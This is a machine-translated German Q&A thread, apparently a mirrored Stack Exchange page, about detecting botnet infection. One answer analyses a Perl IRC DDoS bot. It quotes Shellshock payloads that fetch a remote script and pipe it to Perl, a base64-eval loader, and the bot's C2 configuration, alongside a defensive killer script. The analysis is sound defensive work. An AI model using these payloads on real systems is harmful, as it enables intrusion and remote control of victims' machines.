it-swarm-eu.dev

Woher weiß ich, ob mein Computer für einen Botnet-basierten DDoS-Angriff verwendet wird?

A botnet ist eine Sammlung kompromittierter Computer, von denen jeder als "Bot" bezeichnet wird und mit dem Internet verbunden ist. Wenn ein Computer von einem Angreifer kompromittiert wird, enthält die Malware häufig Code, der ihm befiehlt, Teil eines Botnetzes zu werden. Der "Botmaster" oder "Bot Herder" steuert diese gefährdeten Computer über standardbasierte Netzwerkprotokolle wie IRC und http).

Gibt es eine Möglichkeit zu erkennen, dass Ihr Computer bei einem Botnet-basierten DDoS-Angriff verwendet wird?

Gibt es ein Tool wie eine Software, die seltsamen Datenverkehr erkennen und Aktivitäten von meinem Computer ausnutzen kann?

22
Diogo

Es gibt keine einfache Möglichkeit, festzustellen, ob Ihr Computer Teil eines Botnetzes ist. Stattdessen ist Prävention die beste Verteidigung: Vermeiden Sie es, sich überhaupt anzustecken.

Es wird sehr viel darüber geschrieben, wie Sicherheitsverletzungen vermieden werden können, zu viel, um es hier zu wiederholen. Für den Anfang könnten Sie beispielsweise eine Sicherheitsanleitung für nicht technische Benutzer , Windows-Härtung , Härtung von Linux-Server oder - lesen Secure Linux Desktop . Fröhliches Lesen!

16
D.W.

Das Analysieren von Kerneln und ausführbaren Dateien vor ihrer Ausführung ist normalerweise eine sichere Vorgehensweise, lässt sich jedoch am besten mit einem starken Modell für die Zugriffssteuerung des Betriebssystems wie SELinux kombinieren.

Während es schwierig ist, Hintertüren in selbstmodifizierendem oder selbstprüfendem Code zu finden, ist das Vorhandensein von selbstmodifizierendem oder selbstprüfendem Code selbst normalerweise ein Indikator für Malware. Beispielsweise kann das Tool MANDIANT Red Curtain einem Malware-Analysten dabei helfen, eine hohe Entropie in Codeabschnitten oder seltsame Namen/Muster in diesen Abschnitten zu erkennen.

Darüber hinaus gibt es viele andere Praktiken (und nicht alle sind dokumentiert), wie z. B. Ablaufverfolgung, Emulation usw. Das Kombinieren all dieser Methoden zu einem Tool oder einer Technik ist nicht üblich, da Malware-Analysten häufig sehr schnell von statischer zu dynamischer Analyse und zurück wechseln (um Perspektive zu gewinnen). Ein abgestufter Ansatz mit einem minimalen Satz von Werkzeugen kann jedoch in sehr kurzer Zeit viel erreichen. Zum Beispiel verwende ich häufig pescanner.py auf einer ausführbaren PE-Datei, bevor ich sie in einer Sandbox zusammen mit PE-Prozessspeicher-Dumpern und Instrumenten für die Ablaufverfolgung wie [~ # ~] pin [~) ausführe # ~] .

Ein Teil der neueren Literatur ist in diesem Forschungsbereich zunehmend gut geworden.

10
atdre

Erstens können Sie einem kompromittierten Computer nicht vertrauen, da die Ausgabe aller Dienstprogramme gefälscht werden kann, um das Vorhandensein böswilliger Aktivitäten zu verbergen.

Ich würde im Allgemeinen nicht erwarten, dass ein Computer mit robusten Sicherheitspraktiken Teil eines Bot-Netzes ist. Eine, bei der Sie nur Code aus vertrauenswürdigen Quellen installieren, sichere Kennwörter haben (die an keiner anderen Stelle verwendet werden) usw. Es sei denn, mein ISP gibt an, von meiner IP-Adresse Berichte über ungewöhnliche Aktivitäten erhalten zu haben, die auf einen potenziellen Bot hinweisen, oder ein Benutzer teilt mir dies mit Sie wurden dazu verleitet, Software zu installieren, die nicht wie angekündigt funktioniert, und sie erkennen jetzt, dass es sich wahrscheinlich um einen Trojaner handelt.

In diesen Fällen würde ich anfangen, auf Anzeichen eines potenziellen Bots zu testen:

  • überwachen der Netzwerkaktivität. Führen Sie netstat aus - sind alle Verbindungen mehr oder weniger sinnvoll? (lokale Verbindungen ignorieren; whois auf fremden IPs ausführen, die ich nicht erkenne). Denken Sie daran, dass die Ausgabe von netstat gefälscht sein könnte. Sie führen also auch Wireshark (Netzwerkanalysator) von einem anderen Computer (vermutlich sicher) in meinem lokalen Netzwerk aus und prüfen, ob ungewöhnlicher Datenverkehr zu/von einer fremden nicht lokalen IP-Adresse vorliegt Adressen (das ist keine Routine von meinem Router/Netzwerkdrucker usw.)?

  • Starten Sie eine Live-CD derselben Distribution (damit Sie den Dienstprogrammen vertrauen) und führen Sie Prüfsummen (md5) für wichtige Dienstprogramme aus (/bin, /sbin/, /usr/bin/ usw.) und vergleichen Sie mit bekannten Prüfsummen eines sicheren Computers mit demselben Betriebssystem/derselben Version (oder führen Sie eine Neuinstallation durch, führen Sie alle Aktualisierungen aus und generieren Sie dann Prüfsummen zum Vergleichen). (Wenn die Prüfsummen nicht übereinstimmen, kann dies möglicherweise an einer Aktualisierung des Dienstprogramms liegen. Überprüfen Sie daher die Versionen und untersuchen Sie sie weiter.) Ich habe für diese Antwort ein Linux/Unix-System angenommen, aber vermutlich können Sie dasselbe für Windows tun, wenn Sie wissen, was zu überprüfen ist.

Wenn Sie Hinweise auf einen Bot finden, würde ich meine Daten (dh nicht ausführbare Dateien) sichern, die Festplatte bereinigen und das Betriebssystem von einer sicheren Quelle mit anderen Kennwörtern neu installieren. Ich wäre sehr vorsichtig, wenn ich Dokumente öffnen könnte, die Makros (z. B. doc, pdfs) vom kompromittierten Computer enthalten könnten (stellen Sie sicher, dass die Makros in den entsprechenden Programmen deaktiviert sind, bevor Sie diese Dateien erneut anzeigen und nicht als Administrator/root angemeldet sind). und Installieren eines Virenscanners).

10
dr jimbob

Ein wirklich guter Bot wird sich vor dem Kernel verstecken.

Die einzige Möglichkeit, dies zu erkennen, besteht darin, den Datenverkehr zwischen der Maschine und dem Internet mithilfe einer externen, bekanntermaßen guten Maschine zu überwachen. Selbst dann würde es keine Möglichkeit geben zu wissen, ob der Bot zu dem Zeitpunkt, als Sie danach suchten, nur ruhte.

Eine andere Möglichkeit besteht darin, die Maschine von bekannten (vorzugsweise schreibgeschützten) Medien (z. B. CD oder DVD) zu starten und eine forensische Analyse der Maschine durchzuführen, um nach Spuren einer Infektion zu suchen.

9
Tinned_Tuna

Ein Darknet ist auch eine gute Möglichkeit, infizierte Computer in Ihrem Netzwerk zu erkennen. Es handelt sich im Wesentlichen um ein Subnetz in Ihrem LAN, an das normalerweise kein Datenverkehr weitergeleitet werden sollte, in dem sich Protokollierungscomputer befinden, die erkennen, welche Computer nicht Ihren normalen Netzwerkeinstellungen entsprechen, z. Scannen nach zu infizierenden Knoten im Netzwerk.

Da Sie wissen sollten, welches Verhalten normal ist und welches nicht, stechen infizierte Computer, die versuchen, andere zu infizieren, wie ein schmerzender Daumen hervor.

9
deed02392

Spezifische Antwort: DDoS Perl IrcBot v1.0/2012 vom DDoS Security Team

Haftungsausschluss

  • Dies geschah um diese spezielle Version dieser Malware (später genannt Tool) ... Dies ist keine allgemeine Methode!

  • Das Spielen mit Malware und Viren kann schädlich werden! Verwenden Sie eine dedizierte Hardware, Benutzer, die idealerweise nicht mit dem Internet verbunden ist!

Du wurdest gewarnt!

Einführung

Ich poste diese Antwort als praktischer Fall, weil ich dieses Tool bereits 2012 und kürzlich aufgrund eines Shellshock Fehlers umgangen habe und Exploits ...

Ich bin eine verdächtige Mail geworden, die dieselbe Zeichenfolge enthält wie: To, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date and Resent-From:

() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt|Perl;lwp-downloa..

Ich finde das zuerst lustig, überprüfe meinen E-Mail-Benutzer und Server, nichts Seltsames, ok ...

Um ganz sicher zu sein, habe ich versucht, die Malware herunterzuladen. Leider wurde sie vom Server gelöscht.

... Einige Tage später habe ich dies in einem Web-Server-Protokoll gesehen:

... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0"  403 2132 \
        "() { :; }; curl http://202.143.x.x/lib21/index.cgi | Perl" \

Wo Felder referer und user-agent enthalten dieselbe Zeichenfolge. Aber mit einer anderen URL.

Deobsuscation

Dieses Mal konnte ich das Tool herunterladen:

wget http://202.143.x.x/lib21/index.cgi
less index.cgi

#!/usr/bin/Perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI...
...IyMjIyMj'));

Erster Schritt, um sie lesbar zu machen. Dazu müssen wir nur eval durch print ersetzen:

Perl <(sed s/eval/print/ index.cgi) >ircBot.pl

sed -ne '3,11{s/^\(.\{65\}\).*$/\1/;p}' ircBot.pl
#################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [
##      Stealth MultiFunctional IrcBot writen in Perl          ##
##        Teste on every system with Perl instlled             ##
##                                                             ##
##     This is a free program used on your own risk.           ##
##        Created for educational purpose only.                ##
## I'm not responsible for the illegal use of this program.    ##
#################################################################

Dies geschah zu Bildungszwecken!?

Also könnten wir studieren ...

Testen

Sie könnten dort eine deobfuscated Version finden. (Ich bin nicht mein Beitrag, ich habe sie nach dem Lesen mit genau der gleichen Konfiguration gefunden dieser Beitrag )

Hinweis: Für Ausführen von dieser Art von Tools verwende ich eine dedizierte Hawdware, die nicht verbunden ist, und führe eine dedizierte virtuelle Maschine in aus es, um sie von der oberen Ebene aus verfolgen, überwachen oder stoppen zu können.

    31      ##### [ Configuration ] #####
    32      #############################
    33      
    34      my @rps = ("/usr/local/Apache/bin/httpd -DSSL",
    35                         "/usr/sbin/httpd -k start -DSSL",
    36                 "/usr/sbin/httpd",
    37                         "/usr/sbin/sshd -i",
...
    43                         "/usr/sbin/acpid",
    44                         "/usr/sbin/cron");
    45      my $process = $rps[Rand scalar @rps];
    46      
    47      my $vers = "\001VERSION - unknown command.\001";
    48      my $ircname = "shock";
    49      my $realname = `uname -vr`;
    50      my $nick = "Perl";
    51      
    52      $server = 'fflyy.su' unless $server;
    53      my $port = '8080';
    54      
    55      my $linas_max='10';
    56      my $sleep='5';
    57      
    58      my $homedir = "/tmp";
    59      my $version = 'DDoS Perl Bot v1.0';
    60      
    61      my @admins = ("M","st0n3d","x00","Jorgee");
    62      my @hostauth = ("lolhome");
    63      my @channels = ("#mperl2");
    64      $unamea = `uname -a`;
    65      $uid = `id`;
    66      
    67      my $pacotes = 1;
    68      
    69      #################################################################
    70      ##### [ Stop Editing if you dont know what are you doing. ] #####

Nun, in den Zeilen 31 bis 70 finden Sie die Konfiguration:

Wir konnten bereits beobachten, dass $process wird zufällig aus einem Array von Zeichenfolgen in Zeile 45 definiert.

Nach dem Ändern von $server, $port, $admins, @hostauth and @channels, Ich führe das Tool aus.

Labs

  • Das erste, was zu sagen ist: Dieses Tool heizt viel CPU. Auf einem großen System könnte dies harmlos sein, aber auf meiner schlechten Konfiguration war dies wichtig.

  • Der Bot ist an meinem IRC angeschlossen. Ich könnte nach ihm fragen, wie in der Kopfzeile des Skripts dargestellt, und wenn ich ein /msg, sie öffnen einen privaten Chatroom, den ich wie eine Shell-Konsole verwenden kann.

  • Auf der Serverseite verschwinden sie, sobald sie ausgeführt werden. Wenn ich ps ax, Ich sehe einen Prozess httpd, der vorher nicht da war, aber ...

Nun, jetzt genug. Es gibt einige Befehle, die ich ausgeführt habe, um offensichtlich zu zeigen, wo sie sich befinden (natürlich muss dieser Befehl als root ​​oder über Sudo ausgeführt werden):

  • Suche nach ausführbarer Perl-Datei:

    ls -l /proc/*/exe | grep Perl
    lrwxrwxrwx 1 www-data www-data 0 oct 30 09:39 /proc/23664/exe -> /usr/bin/Perl
    

    Dies zeigt alle Prozesse, die Perl als ausführbare Datei verwenden. Dies basiert nicht auf cmdline.

  • Suchen nach TCP Verbindungen:

    netstat -tanp | grep :8080
    tcp     0   0 192.168.4.3:33083   192.168.4.1:8080   ESTABLISHED 23664/httpd -DSSL
    

    In dieser speziellen Konfiguration (Generierung von Malware) ist der Port 8080 wird als Remote-Port verwendet. Selbst wenn Sie einen normalen Server besitzen, verwenden Sie Port 8080, dieser Port wird als lokaler Port verwendet.

  • Suchen Sie nach der Webserver-PID des Benutzers, die nicht vom Webserverprozess gehalten wird

    ps --user www-data ho ppid,pid,cmd | sed -ne 's/^ *1 //p'
    23664 /usr/local/Apache/bin/httpd -DSSL
    
  • Suche nach Prozess, der CPU frisst:

    top
    top - 09:48:00 up 58 days, 21:51,  1 user,  load average: 0.02, 0.03, 0.00
    Tasks:  15 total,   3 running,  12 sleeping,   0 stopped,   0 zombie
    %Cpu(s):  0.7 us,  0.3 sy,  0.0 ni, 98.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
    KiB Mem:    262144 total,    88164 used,   173980 free,        0 buffers
    KiB Swap:        0 total,        0 used,        0 free,        0 cached
    
      PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND
    23664 www-data  20   0  7408 2956 1204 R  91.7  1.1   8:30.73 /usr/local/apac
        1 root      20   0  2152  724  620 S   0.0  0.3   0:36.47 init
     1028 root      20   0  2248  776  568 S   0.0  0.3   0:03.76 rpcbind
     1039 statd     20   0  2324 1072  820 S   0.0  0.4   0:00.00 rpc.statd
    

Sie zu töten.

Nun ist es Zeit, damit aufzuhören:

kill -9 23664

Für weitere Zwecke, obwohl dieses Tool nicht geändert wurde, habe ich dies schnell geschrieben perlircbotKiller.pl (kann mit mindestens den gleichen Rechten ausgeführt werden wie Bot selbst ... oder root, rate mal!)

#!/usr/bin/Perl

my @rps=("/usr/local/Apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL",
   "/usr/sbin/httpd", "/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
   "/usr/sbin/Apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x",
   "/usr/sbin/acpid", "/usr/sbin/cron");

opendir my $dh,"/proc";
map {
    open my $fh,"/proc/".$_."/cmdline";
    my $cmdline=<$fh>;
    close $fh;
    $cmdline=~s/\0*$//g;
    if (grep { $cmdline eq $_ } @rps) {
    printf "Sending SIGKILL to process %d\n", $_;
        kill 9, $_;
    }; }
grep { readlink("/proc/".$_."/exe") =~ m|/Perl| }
grep { /^\d+$/ }
readdir $dh;

... und mein Fan kommt wieder langsam ...

Spezielles Werkzeug

Nach einigem Umschreiben schrieb ich ein wenig Perl-Skript gewidmet

  • suche nach verschleierten Skripten Perl, Python oder php, die seinen Namen mit Apache, acpi, httpd, sshd, etc ...

  • suche nach einem Prozess, bei dem die übergeordnete PID 1.

  • liste der geöffneten Verbindungen

  • bieten eine einfache Möglichkeit zu töten verdächtiger Prozess.

    Suspicious process      '5089',
        has parent pid: '1',
        run             '/usr/bin/Perl',
        claim to be     '/sbin/syslogd'
        and has port    tcp '8080'
        open to         '93.174.93.80'
    Send SIGKILL to 5089 (Y/n)? Y
    

Dies funktioniert gut mit vielen Ableitungen von derzeit engerener Malware, aber ich hoffe, dass dies mit anderen Malwares mit denselben Methoden funktionieren kann.

Fazit.

  • Dieses tool (der Perl-IRC-Bot) ist nicht vollständig unsichtbar, aber sobald es ausgeführt wird, bieten sie alles, was infizierte Benutzer tun können. (Mit den Rechten des Benutzers).

  • Diese Version von Shellshock Angriff speichert die Malware nicht auf infizierten Systemen, daher könnte ein einfacher Neustart ​​ausreichen, um sie zu löschen.

  • Kümmere dich um andere Tools, die der Angreifer verwenden kann, sobald dieses Tool gestartet ist! Insbesondere: cron und at, aber jedes Skript oder jede Binärdatei ser, die ausgeführt und geändert werden kann, kann infiziert sein!

  • Kümmere dich um andere lokale Sicherheitsprobleme die erlauben könnten lokale Privilegienerhöhung auch !!

1
F. Hauri

1) Ihr Akku wird während des Herunterfahrens entladen.

2) Sie stellen dann fest, dass Ihr PC oder Laptop niemals heruntergefahren wird, es sei denn, der Akku oder das Netzkabel sind entfernt.

3) Ihr WLAN-Adapter ist deaktiviert, Sie stellen jedoch fest, dass noch eine Remote-WLAN-Verbindung bestehen muss. (aus verschiedenen Gründen werde ich hier nicht auflisten)

4) Ein unbekannter Benutzer besitzt Ihr Laufwerk C: und mehr.

5) Sie haben die Zugriffsberechtigung für Dateien in System32- und Programmdateien (x86) wie Cyberlink, Bluetooth, Microsoft Shell usw. verloren.

6) Ihre Wiederherstellungspunkte sind verschwunden.

7) File Shredder in McAfee oder Avast kann plötzlich nicht mehr oder nur noch geschreddert werden.

8) Firewall-Änderungen, die Sie nicht vorgenommen haben.

9) Während einer Systemwiederherstellung außerhalb der Windows-Partition sehen Sie auf dem Bildschirm ein Feld mit der Aufschrift FBI Debug Mode

10) Wenn 9), dann wurde "System geschlagen".

1
MaxImpact

Sie können einen Netzwerkanalysator verwenden. Überprüfen Sie den ausgehenden Verkehr. Die meisten Angriffe unter dem http/tcp/udp-Protokoll mit einer großen Paketgröße/einem schnellen Intervall.

Wenn Ihr PC häufig eine Verbindung zu einem unbekannten Server/einer unbekannten IP-Adresse herstellt und diese regelmäßig postet/verbindet. Sie können sicher sein, dass Sie von einem C & C-Server von einem B-Master aus gesteuert werden.

1
Hidden

TrendMicro bietet ein Tool zur Überprüfung der Bot-Infektion an.

http://free.antivirus.com/us/rubotted/

1
tekybala

Um zu überprüfen, ob Ihr PC oder Ihr Netzwerk ein Bot ist, versuchen Sie es mit dem kaspersky-Dienst https://blog.kaspersky.com/simda-botnet-check/8304/ oder RUBotted ( http: //free.antivirus.com/us/rubotted/ ) von Trend Micro. Es wird behauptet, einen Computer auf mögliche Infektionen und verdächtige Aktivitäten im Zusammenhang mit Bots zu überwachen.

1
Badr Bellaj